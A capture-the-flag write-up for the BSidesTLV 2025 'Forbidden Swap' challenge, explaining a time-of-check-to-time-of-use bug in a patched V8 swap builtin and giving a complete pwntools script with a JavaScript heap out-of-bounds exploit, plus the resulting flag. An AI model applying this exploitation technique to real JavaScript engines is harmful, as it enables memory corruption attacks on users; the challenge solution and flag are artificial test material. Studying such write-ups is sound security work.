Forbidden Swap

Description

Something in its internals really does not want to be swapped. Can you convince it otherwise?

Written by Idan Strovinsky

Sources were attached.

Solution

We are provided with a modified V8 JavaScript engine (patch file included). The patch introduces two key changes:

  1. Array.prototype.swap: A new builtin function to swap elements in an array.
  2. Flag Object: A object that holds the flag but guards it with an internal check.

The Goal: The Flag object is initialized with an internal value of 0xdead. To unlock the flag using flag.secret(), we must overwrite this value to 0xbeef in memory.

The Bug: TOCTOU in ArraySwap

The vulnerability is a Time-of-Check to Time-of-Use (TOCTOU) bug in src/builtins/builtins-array.cc. Let’s look at the vulnerable code:

BUILTIN(ArraySwap) {
  // ...
  Handle<JSArray> array = Cast<JSArray>(receiver);
  // 1. Snapshot the length
  uint32_t len = static_cast<uint32_t>(Object::NumberValue(array->length()));

  // 2. TRIGGER: Call ToNumber on arguments. 
  // This executes user JS (valueOf), which can change the array!
  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, idx1_obj, Object::ToNumber(isolate, args.at(1)));
  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, idx2_obj, Object::ToNumber(isolate, args.at(2)));

  // 3. The check uses the OLD 'len' snapshot from step 1
  if (idx1 >= len || idx2 >= len) { 
      // Error...
  }

  Handle<FixedArrayBase> elements(array->elements(), isolate);
  if (IsFixedDoubleArray(*elements)) {
    Handle<FixedDoubleArray> double_array = Cast<FixedDoubleArray>(elements);
    // 4. OOB ACCESS: The check passed, but 'double_array' might now be tiny!
    double value1 = double_array->get_scalar(idx1);
    double value2 = double_array->get_scalar(idx2);
    double_array->set(idx1, value2);
    double_array->set(idx2, value1);
  }
}

The Logic Flow:

  1. Check: The function fetches the array length (len) and stores it.
  2. Trigger: It calls Object::ToNumber on the arguments (the indices).
    • Critical: This executes user-defined JavaScript (e.g., valueOf).
  3. Use: It performs bounds checks using the old len, but accesses the current backing store.

The Exploit Path: Inside the valueOf callback, we can:

  1. Shrink the array (arr.length = 0), forcing V8 to discard the large backing store.
  2. Reallocate a tiny backing store.
  3. The builtin continues using the old (large) length check on the new (tiny) array, granting us a Heap Out-Of-Bounds (OOB) Read/Write.

Exploitation Strategy

Heap Grooming (The Setup)

V8 allocates new objects linearly in the “New Space”. We need to arrange memory so our target (Flag object) sits right after our vulnerable array.

Inside the valueOf callback:

  1. Shrink: arr.length = 0. Old backing store is gone.
  2. Reallocate: arr[0] = 1.1. V8 allocates a new, tiny FixedDoubleArray (capacity 4).
  3. Target: new Flag(). This allocates the Flag object immediately after the tiny array.

Calculating Offsets & Values

The Attack Loop

We don’t need precise offsets; we can brute-force the distance.

  1. Payload: Create a double where the lower 32-bits are 0xbeef (SMI).
  2. Trigger: Call arr.swap(trigger, 0).
    • trigger’s valueOf rearranges the heap.
    • The builtin swaps arr[0] (our payload) with arr[i] (OOB memory).
  3. Verify: If arr[0] changes to 0xdead (SMI), we successfully swapped our payload into the Flag object!
  4. Profit: Call flag.secret().

Solution Script

Run this script using python3.

#!/usr/bin/env python3
from pwn import *

# Connection details
HOST = '0.cloud.chals.io'
PORT = 31357

def exploit():
    js_payload = r"""
    var buf = new ArrayBuffer(8);
    var f64 = new Float64Array(buf);
    var u32 = new Uint32Array(buf);

    // Helper: Uint32 (Lo/Hi) to Double
    function u2d(lo, hi) {
        u32[0] = lo;
        u32[1] = hi;
        return f64[0];
    }
    
    // Helper: Double to Uint32 (Lo/Hi)
    function d2u(val) {
        f64[0] = val;
        return {lo: u32[0], hi: u32[1]};
    }
    
    // V8 SMI Encoding (Value << 1)
    var SIG = 0x1bd5a; // 0xdead << 1
    var BEEF = 0x17dde; // 0xbeef << 1
    
    // Payload: Write 0xbeef (SMI) to the lower 32-bits
    var payload = u2d(BEEF, 0);
    
    print("[*] Starting exploit loop...");
    
    // Scan heap offsets 0 to 100
    for (var i = 0; i < 100; i++) {
        var arr = [];
        // Initialize large array
        for (var j = 0; j < 200; j++) arr[j] = 1.1;
        
        var flag = null;
        
        var trigger = {
            idx: i,
            valueOf: function() {
                // 1. Shrink array (detach old backing store)
                arr.length = 0;
                
                // 2. Reallocate new small backing store & Insert Payload
                arr[0] = payload; 
                
                // 3. Allocate Flag immediately after the new backing store
                flag = new Flag();
                
                return this.idx;
            }
        };
        
        try {
            // Trigger OOB Swap: arr[0] <-> OOB Memory[i]
            arr.swap(trigger, 0);
        } catch(e) { continue; }
        
        // Check if we swapped OUT the original 0xdead value
        var val = d2u(arr[0]);
        
        if (val.lo === SIG) {
            print("[+] Hit Flag at index " + i);
            try {
                // We successfully overwrote 0xdead with 0xbeef
                var s = flag.secret();
                print("[SUCCESS] FLAG: " + s);
                break;
            } catch(e) {
                print("[-] Failed to retrieve secret: " + e);
            }
        }
    }
    """

    try:
        r = remote(HOST, PORT)
        r.recvuntil(b"Provide script size")
        r.sendline(str(len(js_payload)).encode())
        r.recvuntil(b"Provide script:")
        r.send(js_payload.encode())
        print(r.recvall(timeout=10).decode())
    except Exception as e:
        print(f"Error: {e}")

if __name__ == '__main__':
    exploit()

Result

[*] Starting exploit loop...
[+] Hit Flag at index 19
[SUCCESS] FLAG: BSidesTLV2025{v8_sw4p_t0ct0u_m4st3r}